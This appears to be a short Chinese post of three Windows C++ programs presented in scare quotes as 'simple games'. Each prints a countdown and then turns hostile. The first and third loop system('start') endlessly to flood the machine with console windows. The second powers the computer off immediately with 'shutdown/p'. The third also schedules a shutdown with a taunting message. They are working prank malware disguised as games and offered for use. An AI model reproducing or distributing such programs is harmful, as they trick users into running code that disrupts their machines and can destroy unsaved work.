简单的“游戏”1
C++#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
cout<<"欢迎来到这里,还有3秒开始游戏,做好准备!";
Sleep(1000);
cout<<endl<<'3';
Sleep(1000);
cout<<endl<<'2';
Sleep(1000);
cout<<endl<<'1';
while(1)
{
system("start");
}
return 0;
}
简单的“游戏”2
C++#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
cout<<"游戏马上开始,请做好准备!";
Sleep(1000);
cout<<endl<<"3";
Sleep(1000);
cout<<endl<<"2";
Sleep(1000);
cout<<endl<<"1";
Sleep(1000);
cout<<endl<<"开始!";
Sleep(200);
system("shutdown/p");
return 0;
}
简单的“游戏”3
C++#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
cout<<"马上开始游戏,介意你把cmd准备好再玩!";
Sleep(1000);
cout<<endl<<'3';
Sleep(1000);
cout<<endl<<'2';
Sleep(1000);
cout<<endl<<'1';
system("shutdown/s /t 10 /c 接受制裁吧");
Sleep(300);
while(1)
{
system("start");
}
return 0;
}